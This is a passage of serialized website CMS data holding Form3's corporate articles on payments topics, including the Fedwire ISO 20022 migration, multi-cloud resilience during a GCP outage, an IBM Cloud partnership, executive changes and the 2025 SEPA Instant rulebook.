",[20047,20050],{"start":398,"end":628,"type":489,"data":20048},{"link_type":491,"url":20049,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fhow-sepa-indirect-participants-benefit-dnsp",{"start":398,"end":3852,"type":593},"rich_text$01f9c83a-695a-4049-818e-bf85f60a3c07",{"variation":437,"version":438,"items":20053,"primary":20054,"id":20097,"slice_type":468,"slice_label":5},[],{"body":20055},[20056,20059,20063,20069,20076,20080,20087,20091],{"type":988,"text":20057,"spans":20058,"direction":445},"Technological Advancements",[],{"type":25,"text":20060,"spans":20061,"direction":445},"Cloud and API Integration ",[20062],{"start":398,"end":1066,"type":593},{"type":25,"text":20064,"spans":20065,"direction":445},"Multi-cloud Approach to Payments: Adopting a multi-cloud strategy has become essential for payment processing, offering increased flexibility and resilience. ",[20066,20068],{"start":398,"end":5489,"type":489,"data":20067},{"link_type":491,"url":16943,"target":493},{"start":398,"end":9077,"type":593},{"type":25,"text":20070,"spans":20071,"direction":445},"APIs Powering Payments: APIs are driving growth and innovation in the banking sector, enabling seamless integration and enhanced customer experiences. ",[20072,20075],{"start":398,"end":7635,"type":489,"data":20073},{"link_type":491,"url":20074,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fapis-powering-payments-igniting-growth-and-pioneering-the-future-of-banking",{"start":398,"end":4023,"type":593},{"type":25,"text":20077,"spans":20078,"direction":445},"Real-Time Payments ",[20079],{"start":398,"end":2769,"type":593},{"type":25,"text":20081,"spans":20082,"direction":445},"Testing Real-Time Payments: Thorough testing of real-time payment systems is crucial to ensure reliability and security, with various approaches being implemented to achieve this. ",[20083,20086],{"start":398,"end":5574,"type":489,"data":20084},{"link_type":491,"url":20085,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Ftesting-real-time-payments",{"start":398,"end":3485,"type":593},{"type":25,"text":20088,"spans":20089,"direction":445},"Payment Orchestration ",[20090],{"start":398,"end":703,"type":593},{"type":25,"text":20092,"spans":20093,"direction":445},"Clarifying Payment Orchestration: Payment orchestration is often misunderstood, leading to inefficiencies and missed opportunities. By simplifying technology estates and integrating legacy systems through orchestration, banks can achieve greater control and flexibility in payment processing. ",[20094,20096],{"start":398,"end":5489,"type":489,"data":20095},{"link_type":491,"url":19705,"target":493},{"start":398,"end":9077,"type":593},"rich_text$676dcdbc-845d-448f-83b3-0215511dbe8b",{"variation":437,"version":438,"items":20099,"primary":20100,"id":20112,"slice_type":468,"slice_label":5},[],{"body":20101},[20102,20105],{"type":988,"text":20103,"spans":20104,"direction":445},"Case Studies and Practical Applications",[],{"type":25,"text":20106,"spans":20107,"direction":445},"Nationwide and Form3 on Migrating Payments: A detailed case study on how Nationwide partnered with Form3 to successfully migrate their payments infrastructure, highlighting key challenges and solutions. ",[20108,20111],{"start":398,"end":1486,"type":489,"data":20109},{"link_type":491,"url":20110,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fcase-study-nationwide-and-form3-on-migrating-payments",{"start":398,"end":5136,"type":593},"rich_text$4610f5ec-01f2-4caf-830f-fd65a149a0bb",{"variation":437,"version":438,"items":20114,"primary":20115,"id":20149,"slice_type":468,"slice_label":5},[],{"body":20116},[20117,20120,20124,20131,20138,20142],{"type":988,"text":20118,"spans":20119,"direction":445},"Future Outlook",[],{"type":25,"text":20121,"spans":20122,"direction":445},"Trends to Watch ",[20123],{"start":398,"end":8472,"type":593},{"type":25,"text":20125,"spans":20126,"direction":445},"Payments Trends Banks Need to Be Aware of in 2024: Key trends that will shape the banking sector in 2024 include technological transformation, risk management, and regulatory compliance.  ",[20127,20130],{"start":398,"end":2868,"type":489,"data":20128},{"link_type":491,"url":20129,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fform3-payments-trends-banks-need-to-be-aware-of-in-2024",{"start":398,"end":2971,"type":593},{"type":25,"text":20132,"spans":20133,"direction":445},"What Banks and PSPs Need to Do in 2024 to Enable Seamless Payments: Actionable insights for banks and PSPs to prepare for the future, ensuring seamless and secure payment processes. ",[20134,20137],{"start":398,"end":14740,"type":489,"data":20135},{"link_type":491,"url":20136,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fwhat-banks-and-psps-need-to-do-in-2024-to-enable-seamless-payments",{"start":398,"end":2397,"type":593},{"type":25,"text":20139,"spans":20140,"direction":445},"AI and Risk Management ",[20141],{"start":398,"end":7635,"type":593},{"type":25,"text":20143,"spans":20144,"direction":445},"AI and Risk Scoring: Artificial Intelligence is playing a crucial role in enhancing risk scoring and preventing payment fraud, offering new tools and methodologies for financial institutions. ",[20145,20148],{"start":398,"end":6262,"type":489,"data":20146},{"link_type":491,"url":20147,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fai-and-risk-scoring-help-stop-push-payment-fraud-in-its-tracks",{"start":398,"end":7460,"type":593},"rich_text$a11c1752-ec2c-4a66-8299-3d115e3eaaab",{"variation":437,"version":438,"items":20151,"primary":20152,"id":20164,"slice_type":468,"slice_label":5},[],{"body":20153},[20154,20157,20160],{"type":988,"text":20155,"spans":20156,"direction":445},"Preparing for the Future",[],{"type":25,"text":20158,"spans":20159,"direction":445},"As we look forward to 2025, staying informed and adaptable will be key to navigating the rapidly evolving payments landscape. Embrace these trends and innovations to stay ahead of the curve. ",[],{"type":25,"text":20161,"spans":20162,"direction":445},"Follow us on LinkedIn for real-time updates and expert insights into the payments industry. ",[20163],{"start":398,"end":12970,"type":593},"rich_text$ccf3f0b5-201b-4b4e-92fa-22b5c7a3079b",{"id":20166,"uid":20167,"type":3743,"data":20168},"alzyXBEAACgAUWDn","the-fedwire-iso-20022-migration-a-major-milestone",{"title":20169,"excerpt":20170,"card_image":20171,"published_date":20176,"reading_time":4603,"tag":3751,"dek":20177,"featured_image":20178,"about_form3":20183,"client_about_heading":5,"client_about_body":20184,"author_name":5,"author_title":5,"author_photo":20185,"author_bio":20186,"author_linkedin":20187,"slices":20188,"meta_title":20169,"meta_description":20252},"The Fedwire ISO 20022 Migration: A Major Milestone – But What Comes Next?","This past weekend marked a major moment in the evolution of US payments: the successful ISO 20022 migration of the Fedwire Funds Service. After years of planning and preparation, the cutover went smoothly—an impressive feat given the complexity of the change and the scale of the ecosystem involved. But while the industry collectively takes a well-earned breath, it’s important to recognize what this milestone really represents: the start of a new chapter, not the end of the journey.",{"dimensions":20172,"alt":19770,"copyright":5,"url":20173,"id":20174,"edit":20175},{"width":412,"height":412},"\u002F_prismic-media\u002F1ca77bd2a3eb0331-oDu_qspJ7H8eChHd_the-fedwire-iso-20022-migration.png","oDu_qspJ7H8eChHd",{"x":398,"y":398,"zoom":399,"background":400},"2025-07-18","This past weekend marked a major moment in the evolution of US payments: the successful ISO 20022 migration of the Fedwire Funds Service. After years of planning and preparation, the cutover went smoothly—an impressive feat given the complexity of the change and the scale of the ecosystem involved.But while the industry collectively takes a well-earned breath, it’s important to recognize what this milestone really represents: the start of a new chapter, not the end of the journey.",{"dimensions":20179,"alt":413,"copyright":5,"url":20180,"id":20181,"edit":20182},{"width":501,"height":646},"\u002F_prismic-media\u002F857bbad781415327-kpgcfjRWVXCKorRv_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","kpgcfjRWVXCKorRv",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[20189,20206,20220,20238],{"variation":437,"version":438,"items":20190,"primary":20191,"id":20205,"slice_type":468,"slice_label":5},[],{"body":20192},[20193,20196,20201],{"type":746,"text":20194,"spans":20195},"Tactical Moves Got Us Through—But They Won’t Get Us Ahead",[],{"type":25,"text":20197,"spans":20198,"direction":445},"Let’s be honest. Many banks, understandably, approached this migration with a tactical mindset. They needed to be compliant by the deadline, and the focus was on minimizing risk and disruption. That meant temporary workarounds, surface-level changes, and point solutions that enabled existing systems to ingest ISO-format messages—but not necessarily use them to their full potential.",[20199],{"start":17798,"end":20200,"type":765},354,{"type":25,"text":20202,"spans":20203,"direction":445},"That was the right move for the moment. But now that the dust has settled, banks should be asking: What next?",[20204],{"start":19482,"end":12974,"type":765},"rich_text$eeba6f0b-e374-4a65-8437-da087d04ac2c",{"variation":437,"version":438,"items":20207,"primary":20208,"id":20219,"slice_type":468,"slice_label":5},[],{"body":20209},[20210,20213,20216],{"type":746,"text":20211,"spans":20212},"ISO 20022 Is a Foundation, Not a Finish Line",[],{"type":25,"text":20214,"spans":20215,"direction":445},"The richness of ISO 20022—the structured data, the extended fields, the interoperability—is a massive opportunity for banks. But it’s also an invitation to rethink legacy infrastructure. Taking full advantage of ISO means more than just translating messages. It requires modern systems that are flexible, future-proof, and ready to scale with evolving standards.",[],{"type":25,"text":20217,"spans":20218,"direction":445},"And evolution is coming. The Federal Reserve has already signaled upcoming maintenance releases for 2026 and 2027. These aren’t optional. They will require banks to adapt yet again. Institutions relying on tactical or hardcoded solutions today will likely face significant cost and complexity during those future upgrades.",[],"rich_text$00cd19e1-7a0f-4eb7-958e-ed810530c358",{"variation":437,"version":438,"items":20221,"primary":20222,"id":20237,"slice_type":468,"slice_label":5},[],{"body":20223},[20224,20227,20230,20234],{"type":746,"text":20225,"spans":20226},"A Smarter Path Forward with Form3",[],{"type":25,"text":20228,"spans":20229,"direction":445},"That’s where Form3 comes in.",[],{"type":25,"text":20231,"spans":20232,"direction":445},"We’ve built a cloud-native, API-first payments platform that absorbs the complexity of messaging standards—so you don’t have to. Our ISO 20022-native APIs are designed to be schema-flexible, meaning you can opt into enriched data when you’re ready, and stay compliant with minimal disruption when updates come down the line.",[20233],{"start":10496,"end":9373,"type":765},{"type":25,"text":20235,"spans":20236,"direction":445},"No breaking changes. No rushed transformations. Just a clean, controlled path to modernization.",[],"rich_text$da8d556d-a677-4778-b858-63686ca03149",{"variation":437,"version":438,"items":20239,"primary":20240,"id":20251,"slice_type":468,"slice_label":5},[],{"body":20241},[20242,20245,20248],{"type":746,"text":20243,"spans":20244},"The Migration Was a Milestone. Now Let’s Build on It.",[],{"type":25,"text":20246,"spans":20247,"direction":445},"The Fedwire ISO 20022 migration showed what the industry is capable of when it rallies together. But to thrive in the next phase—when it’s not just about compliance, but about capability—banks will need more than stopgap solutions. They’ll need modern infrastructure, agile partners, and a mindset that sees change not as a burden, but as an opportunity.",[],{"type":25,"text":20249,"spans":20250,"direction":445},"At Form3, we’re here to help you make that leap—with less pain, more control, and a platform built for what’s next.",[],"rich_text$ca1705be-dd26-421f-bb0a-6f708d5bdbac","This past weekend marked a major moment in the evolution of U.S. payments: the successful ISO 20022 migration of the Fedwire Funds Service. After years of planning and preparation, the cutover went smoothly—an impressive feat given the complexity of the change and the scale of the ecosystem involved. But while the industry collectively takes a well-earned breath, it’s important to recognize what this milestone really represents: the start of a new chapter, not the end of the journey.",{"id":20254,"uid":20255,"type":3743,"data":20256},"alzyYhEAACwAUWD3","gcp",{"title":20257,"excerpt":20258,"card_image":20259,"published_date":20264,"reading_time":4603,"tag":3751,"dek":5,"featured_image":20265,"about_form3":20266,"client_about_heading":5,"client_about_body":20267,"author_name":5,"author_title":5,"author_photo":20268,"author_bio":20269,"author_linkedin":20270,"slices":20271,"meta_title":20257,"meta_description":20346},"Resilience in Action: How Form3's Multi-Cloud Platform Handled the GCP Outage","On Thursday, June 12th, Google’s Cloud outage impacted services across nearly every region for approximately two hours, disrupting operations for many global users. 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Kevin Holditch, VP of Engineering at Form3 discusses how Form3’s multi-cloud platform handles these outages to ensure zero disruption to real-time processing for its customers. ",[],{"type":25,"text":20280,"spans":20281,"direction":445},"As VP Engineering: Platform at Form3, I'm incredibly proud of the engineering and operational excellence behind our multi-cloud architecture. Yesterday's global Google Cloud Platform (GCP) incident, which affected services across nearly every region for approximately two hours, served as a powerful real-world validation of our approach. ",[],"rich_text$98607704-bc94-4cff-a892-c9fdd271fbc6",{"variation":437,"version":527,"items":20284,"primary":20285,"id":20303,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":20286,"body":20287,"cta_label":5,"cta_link":20291,"aside_type":533,"aside_image":20292,"aside_video":20298,"aside_video_poster":20299,"aside_video_reduced_motion":20300,"aside_video_url":5,"aside_embed":20301,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":20302,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[20288],{"type":25,"text":20289,"spans":20290,"direction":445},"Our system dynamically distributes workloads and traffic across cloud environments, ensuring continuity even in the face of significant regional or provider-level incidents.",[],{"link_type":434},{"dimensions":20293,"alt":5,"copyright":5,"url":20295,"id":20296,"edit":20297},{"width":20294,"height":502},965,"\u002F_prismic-media\u002F50c8494616bbced7-1-5yEdYLGv-CAz-v_aExJHrNJEFaPX8-0.gif","1-5yEdYLGv-CAz-v",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$6f9a46bd-e12e-4de7-869f-1d8e5490afac",{"variation":437,"version":527,"items":20305,"primary":20306,"id":20324,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":20307,"body":20308,"cta_label":5,"cta_link":20312,"aside_type":533,"aside_image":20313,"aside_video":20319,"aside_video_poster":20320,"aside_video_reduced_motion":20321,"aside_video_url":5,"aside_embed":20322,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":20323,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[20309],{"type":25,"text":20310,"spans":20311,"direction":445},"Payments flow on the Form3 platform during the GCP outage window.",[],{"link_type":434},{"dimensions":20314,"alt":5,"copyright":5,"url":20316,"id":20317,"edit":20318},{"width":423,"height":20315},476,"\u002F_prismic-media\u002F058ad7e8dd5828c9-dL8CciDTIi2SCqTK_aEw5FrNJEFaPX824.png","dL8CciDTIi2SCqTK",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$5c595d62-0d57-4403-9ea7-c3b9ff98e664",{"variation":437,"version":438,"items":20326,"primary":20327,"id":20345,"slice_type":468,"slice_label":5},[],{"body":20328},[20329,20332,20335,20339],{"type":25,"text":20330,"spans":20331,"direction":445},"Despite the scale and impact of the incident, the Form3 platform continued to process payments without disruption. Our customers experienced seamless service, with no interruption to real-time processing, exactly as our platform was designed to deliver. ",[],{"type":25,"text":20333,"spans":20334,"direction":445},"This is the kind of scenario we’ve architected for. By leveraging a true multi-cloud strategy, we avoid over-reliance on any single provider. Our system dynamically distributes workloads and traffic across cloud environments, ensuring continuity even in the face of significant regional or provider-level incidents. ",[],{"type":25,"text":20336,"spans":20337,"direction":445},"We’ve always believed multi-cloud is the future and yesterday reinforced why. ",[20338],{"start":398,"end":9216,"type":593},{"type":25,"text":20340,"spans":20341,"direction":445},"If you haven’t yet, take a look at our original blog on this subject: Why Multicloud Is The Future. ",[20342],{"start":847,"end":2237,"type":489,"data":20343},{"link_type":491,"url":20344,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fwhy-multicloud-is-the-future","rich_text$243ded42-e361-41be-95df-bb5cbd042be9","On Thursday 12th June Google’s Cloud outage impacted services across nearly every region for approximately two hours, disrupting operations for many global users. Kevin Holditch, VP of Engineering at Form3 discusses how Form3’s multi-cloud platform handles these outages to ensure zero disruption to real-time processing for its customers.",{"id":20348,"uid":20349,"type":3743,"data":20350},"alzyUhEAACkAUWDS","form3-brings-instant-payments-to-ibm-cloud-for-financial-services",{"title":20351,"excerpt":20352,"card_image":20353,"published_date":20359,"reading_time":643,"tag":3751,"dek":20360,"featured_image":20361,"about_form3":20366,"client_about_heading":5,"client_about_body":20367,"author_name":5,"author_title":5,"author_photo":20368,"author_bio":20369,"author_linkedin":20370,"slices":20371,"meta_title":20351,"meta_description":20352},"Form3 brings instant payments to IBM Cloud for Financial Services","Form3 has embarked on a journey with IBM Cloud for Financial Services – an industry-specific platform that aims to help reduce risk throughout the industry by helping financial institutions address their resiliency, performance, security and regulatory compliance obligations.",{"dimensions":20354,"alt":20355,"copyright":5,"url":20356,"id":20357,"edit":20358},{"width":412,"height":412},"IBM Logo","\u002F_prismic-media\u002Ffcd687392bfa9d5d-YBMZwX46iySuDS0D_form3-brings-instant-payments-t.png","YBMZwX46iySuDS0D",{"x":398,"y":398,"zoom":399,"background":400},"2025-10-09","Instant payments are rapidly becoming the standard in financial services, driven by customer demand for speed, security, and continuous availability. The adoption of ISO 20022 as the global payments messaging standard, together with the expansion of schemes such as SEPA Instant in Europe and services like the Real-Time Payments Network and the Federal Reserve’s FedNow in the United States, is accelerating the pace of change across the payments industry.",{"dimensions":20362,"alt":5,"copyright":5,"url":20363,"id":20364,"edit":20365},{"width":423,"height":424},"\u002F_prismic-media\u002F1be85f281f3b8557-TdTDKBGL1rcaB_Mm_aN-k5J5xUNkB1cTR.png","TdTDKBGL1rcaB_Mm",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[20372,20385,20415],{"variation":437,"version":527,"items":20373,"primary":20374,"id":20384,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":20375,"body":20376,"cta_label":5,"cta_link":20377,"aside_type":533,"aside_image":20378,"aside_video":20379,"aside_video_poster":20380,"aside_video_reduced_motion":20381,"aside_video_url":5,"aside_embed":20382,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":20383,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{},{"link_type":536},{},{},{},{"link_type":542},"content_block$e0216a86-8eda-4530-8384-872842eb00a9",{"variation":437,"version":438,"items":20386,"primary":20387,"id":20414,"slice_type":468,"slice_label":5},[],{"body":20388},[20389,20395,20398,20401,20404,20407,20411],{"type":25,"text":20390,"spans":20391,"direction":445},"Recognizing this, Form3, a cloud native payment technology firm, has embarked on a journey with IBM Cloud for Financial Services – an industry-specific platform that aims to help reduce risk throughout the industry by helping financial institutions address their resiliency, performance, security and regulatory compliance obligations.",[20392],{"start":5328,"end":19923,"type":489,"data":20393},{"link_type":491,"url":20394,"target":4499},"https:\u002F\u002Fwww.ibm.com\u002Fcloud\u002Ffinancial-services?utm_content=SRCWW&p1=Search&p4=43700074506378180&p5=e&gad_source=1&gclid=Cj0KCQjwiYOxBhC5ARIsAIvdH53bAFVJHSBndAHwfZTw7guaaIeIAgiv4bGKC7oyXzxBzIVpos4Q6EsaApnQEALw_wcB&gclsrc=aw.ds",{"type":25,"text":20396,"spans":20397,"direction":445},"Form3’s cloud native instant payments technology on IBM Cloud for Financial Services will enable financial institutions to modernize their payments systems, improve resilience and performance, and deliver exceptional customer experiences through reliable, always-on digital transactions.",[],{"type":25,"text":20399,"spans":20400,"direction":445},"With its advanced multi-cloud architecture, which is unique in the market, Form3 removes the concentration risk associated with single cloud providers, ensuring continuous availability. In addition, Form3’s technology processes up to 1,500 transactions per second, giving banks and financial institutions the confidence to scale securely and reliably.",[],{"type":25,"text":20402,"spans":20403,"direction":445},"Form3’s multi-scheme payment simulator, soon to be available on IBM Cloud, provides a full functional testing environment to help inform payment modernization programs. Such a full-fidelity scheme simulator enables successful launch of production payment systems.",[],{"type":25,"text":20405,"spans":20406,"direction":445},"Supported by a growing ecosystem of technology partners and fintechs, IBM’s industry-specific platform is designed to accelerate financial institutions' digital transformations with a focus on trust and security at the forefront.",[],{"type":25,"text":20408,"spans":20409,"direction":445},"Mark Fieldhouse, Chief Revenue Officer at Form3, said: \"We are excited to work with IBM Cloud for Financial Services on our mission to pave the way for the next generation of instant payments. Together with IBM, we are helping to build the foundation for more accessible, secure, and resilient payment solutions that will continue to evolve with the needs of financial institutions worldwide, including in the US.",[20410],{"start":398,"end":3853,"type":593},{"type":25,"text":20412,"spans":20413,"direction":445},"This collaboration strengthens our shared commitment to driving the future of payments, helping banks modernize faster and deliver ever-better experiences for their customers.”",[],"rich_text$3e2cfbc4-e29d-4e0e-bcc1-1fffed29466a",{"variation":437,"version":438,"items":20416,"primary":20417,"id":20430,"slice_type":468,"slice_label":5},[],{"body":20418},[20419,20426,20428],{"type":25,"text":20420,"spans":20421,"direction":445},"About Form3 \nForm3 is a world-class cloud platform for account-to-account payments. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. ",[20422,20423],{"start":398,"end":2707,"type":593},{"start":1951,"end":2769,"type":489,"data":20424},{"link_type":491,"url":20425,"target":493},"https:\u002F\u002Furldefense.proofpoint.com\u002Fv2\u002Furl?u=https-3A__urldefense.com_v3_-5F-5Fhttps-3A_www.form3.tech_-5F-5F-3B-21-21GFN0sa3rsbfR8OLyAw-21fEROxyOt-5FErJB6yHe-2DkzrB-2DDaZpfDnGsuRfsJAsRW-2DKlui-2D5bQepzNwgz94y02S8DWchRlkRQP-2DQQBFx2nExm97iwrdTiy-5Fya2I-24&d=DwMFAw&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=1jbo88x8i1NmAD8jM1txqM8OKoPYle3_Sg6qYOD83kVQhS0h2Gr3OtxJrUkNmdLs&m=b-mDaDN14eKE7FSWAhiHcpj-nQJ0ikLbFr7BikFj8JSrZPWk8bxmXavMWXZpm5-5&s=G53chA0896BQi6jIF-j-PJ738qF2DuT-WbVgjh1SO2U&e=",{"type":25,"text":2881,"spans":20427,"direction":445},[],{"type":25,"text":610,"spans":20429,"direction":445},[],"rich_text$4561df15-27ce-419a-8c1d-bdb9bda89fa9",{"id":20432,"uid":20433,"type":3743,"data":20434},"alzyVREAACsAUWDY","executive-team-changes-to-support-our-next-phase-of-growth",{"title":20435,"excerpt":20436,"card_image":20437,"published_date":20442,"reading_time":418,"tag":3751,"dek":20436,"featured_image":20443,"about_form3":20448,"client_about_heading":5,"client_about_body":20449,"author_name":5,"author_title":5,"author_photo":20450,"author_bio":20451,"author_linkedin":20452,"slices":20453,"meta_title":20435,"meta_description":20436},"Executive Team Changes to Support Our Next Phase of Growth","At Form3, we are focused on building the future of financial technology. As we continue to grow, it’s critical that we evolve our leadership team to ensure we are strongly positioned to achieve our strategic initiatives and execute against our long-term vision. Today, I want to share some important changes within our executive team that reflect this direction.",{"dimensions":20438,"alt":20435,"copyright":5,"url":20439,"id":20440,"edit":20441},{"width":412,"height":412},"\u002F_prismic-media\u002Fd5ff378abfe9cf14-FHFFWo4VgvM22m84_executive-team-changes-to-suppo.jpg","FHFFWo4VgvM22m84",{"x":398,"y":398,"zoom":399,"background":650},"2025-08-20",{"dimensions":20444,"alt":5,"copyright":5,"url":20445,"id":20446,"edit":20447},{"width":423,"height":424},"\u002F_prismic-media\u002F8ed96749044a95b5-VL22XQux-_qaZEaZ_8b4d0237-a447-4ac9-815b-8abc847.png","VL22XQux-_qaZEaZ",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[20454,20465,20478,20491],{"variation":437,"version":438,"items":20455,"primary":20456,"id":20464,"slice_type":468,"slice_label":5},[],{"body":20457},[20458,20461],{"type":746,"text":20459,"spans":20460},"Doubling Down on What Matters Most",[],{"type":25,"text":20462,"spans":20463,"direction":445},"Over the last year, we’ve made significant progress across our business, and the opportunity ahead of us is greater than ever. To succeed in our next chapter, we must double down on the areas that will drive the most growth, bring clarity and focus to our strategy, and ensure we have the right people in the right roles to deliver at pace. Our executive team is central to making that happen and these changes are designed to strengthen that foundation.",[],"rich_text$67732018-0174-48fc-8d0e-3a6a46ac6a7f",{"variation":437,"version":438,"items":20466,"primary":20467,"id":20477,"slice_type":468,"slice_label":5},[],{"body":20468},[20469,20472],{"type":746,"text":20470,"spans":20471},"Welcoming Edward Wilde as Chief Technology Officer",[],{"type":25,"text":20473,"spans":20474,"direction":445},"Firstly, I am pleased to announce that Edward Wilde will take on the role of Chief Technology Officer. Ed has been with Form3 for over 9 years and has been instrumental in building and leading many of our core technology initiatives. His technical depth, leadership, and vision make him exceptionally well-placed to take our technology agenda forward. Ed will focus on ensuring we continue to innovate, scale reliably, and meet the evolving needs of our customers. ",[20475,20476],{"start":4219,"end":1250,"type":593},{"start":855,"end":1481,"type":593},"rich_text$2a6a5cfd-a9cc-4440-84a8-69ea9fc65325",{"variation":437,"version":438,"items":20479,"primary":20480,"id":20490,"slice_type":468,"slice_label":5},[],{"body":20481},[20482,20485],{"type":746,"text":20483,"spans":20484},"A Strategic Advisor to Support Long-Term Growth",[],{"type":25,"text":20486,"spans":20487,"direction":445},"At the same time, I want to share an evolution in the role of Steve Cook, our current CTO. Steve will be transitioning into a new role as Strategic Advisor to Form3, while remaining a member of the executive team. Steve has played a pivotal role in shaping our technology and architecture since the beginning, and he brings with him a deep understanding of both our business and the market. In his new role, Steve will lead a company-level strategic review, working closely with the leadership team to shape a coherent long-term strategy for Form3. This dedicated focus will be critical as we scale and mature as a business. ",[20488,20489],{"start":1029,"end":1797,"type":593},{"start":8789,"end":753,"type":593},"rich_text$08c8da3c-b337-454a-a564-787a20b9cbd5",{"variation":437,"version":438,"items":20492,"primary":20493,"id":20504,"slice_type":468,"slice_label":5},[],{"body":20494},[20495,20498,20501],{"type":746,"text":20496,"spans":20497},"Setting Up for Long-Term Success",[],{"type":25,"text":20499,"spans":20500,"direction":445},"These changes reflect our commitment to ensuring that we are set up to succeed for the years ahead. As we continue to grow and expand our impact in the financial technology space, it’s essential that we are deliberate in how we operate and how we lead.",[],{"type":25,"text":20502,"spans":20503,"direction":445},"\nI’m excited about what’s ahead and confident we have the leadership in place to help us get there. ",[],"rich_text$f43d3adf-b93f-4064-b356-f8b25ce3a78b",{"id":20506,"uid":20507,"type":3743,"data":20508},"alzyihEAAC4AUWFW","sepa-instant-payments-2025-rulebook-updates",{"title":20509,"excerpt":20510,"card_image":20511,"published_date":20516,"reading_time":418,"tag":3751,"dek":20517,"featured_image":20518,"about_form3":20523,"client_about_heading":5,"client_about_body":20524,"author_name":5,"author_title":5,"author_photo":20525,"author_bio":20526,"author_linkedin":20527,"slices":20528,"meta_title":20509,"meta_description":20510},"Navigating the 2025 SEPA Instant Credit Transfer Rulebook: Key Changes and What They Mean for You","The 2025 SEPA Instant Credit Transfer Rulebook introduces major changes, including no transaction limits, hybrid address formats, and reduced execution times. These updates aim to enhance efficiency and security in instant payments. Financial institutions must adapt their systems to comply with the new regulations.",{"dimensions":20512,"alt":20509,"copyright":5,"url":20513,"id":20514,"edit":20515},{"width":412,"height":412},"\u002F_prismic-media\u002F2392ca4b4473e1ea-Thfe1iMsVsPWTLSw_sepa-instant-payments-2025-rule.svg","Thfe1iMsVsPWTLSw",{"x":398,"y":398,"zoom":399,"background":650},"2024-12-10","Last week, the eagerly awaited 2025 EPC payment scheme rulebooks were published, bringing key updates for all Payment Service Providers (PSPs) to comply with Regulation (EU) 2024\u002F88, also known as the Instant Payment Regulations. With a deadline of 9th October 2025, one month earlier than the usual November release, the clock is already ticking for PSPs to absorb the impact of these changes.",{"dimensions":20519,"alt":5,"copyright":5,"url":20520,"id":20521,"edit":20522},{"width":423,"height":424},"\u002F_prismic-media\u002F0598a2fbf75d4c9f-Dvbj7azI1SUj0W-k_ZzORUa8jQArT0xo3.png","Dvbj7azI1SUj0W-k",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[20529,20565],{"variation":437,"version":438,"items":20530,"primary":20531,"id":20564,"slice_type":468,"slice_label":5},[],{"body":20532},[20533,20535,20538,20542,20546,20550,20556,20560],{"type":988,"text":16895,"spans":20534,"direction":445},[],{"type":25,"text":20536,"spans":20537,"direction":445},"While the SEPA Credit Transfer and SEPA Direct Debit rulebooks introduce relatively minor variations, the SEPA Instant rulebook enforces major changes for PSPs to contend with. At Form3, we are committed to ensure our customers are well-prepared and compliant. Below is a summary of the key changes in the SEPA Instant Credit Transfer Scheme Rulebook: ",[],{"type":3373,"text":20539,"spans":20540,"direction":445},"No maximum limit: The SCT Instant scheme no longer applies a maximum amount of €100,000 per transaction. This aligns with the SEPA Credit Transfer scheme, where PSPs can set their own value limits. This is excellent news with more flexibility for end users, but for PSPs, there’s a clear need to ensure the right fraud controls are in place, with Verification of Payee perhaps in front of mind. ",[20541],{"start":398,"end":2477,"type":593},{"type":3373,"text":20543,"spans":20544,"direction":445},"Hybrid address format: Payment users currently have the option to provide payer and payee addresses in a hybrid format, alongside the existing structured and unstructured formats. This hybrid format combines elements of both structured and unstructured address details and is expected to gradually transition from unstructured to structured over time. With the unstructured format set to be phased out in November 2026, the effort required for PSPs to update their back-end systems to eliminate the unstructured format should not be underestimated. ",[20545],{"start":398,"end":703,"type":593},{"type":3373,"text":20547,"spans":20548,"direction":445},"Time of receipt: The time of receipt is now clearly defined as the moment when the payer's PSP receives the payment instruction. This definition is likely earlier than the current standard and, combined with a reduced maximum execution time, requires PSPs to ensure their systems are both performant and efficient. Additionally, the transaction timestamp must include milliseconds rather than seconds. This level of precision is crucial because the SEPA Regulation has shortened the maximum execution time to 10 seconds, making exact timestamps essential to avoid unnecessary transaction time-outs. ",[20549],{"start":398,"end":8472,"type":593},{"type":3373,"text":20551,"spans":20552,"direction":445},"Target execution time reduced to 5 seconds: The target execution time has been reduced to 5 seconds, down from 10 seconds. This means the originator PSP will have 5 seconds to send the instruction to the beneficiary PSP and receive confirmation that the beneficiary PSP has made funds available, or that the payment has been rejected. Consequently, the time-out deadline has changed from 20 to 7 seconds, and the receipt of the confirmation message by the Originator PSP must happen at the very latest by the 9th second to meet the stipulated maximum timeline of 10 seconds. 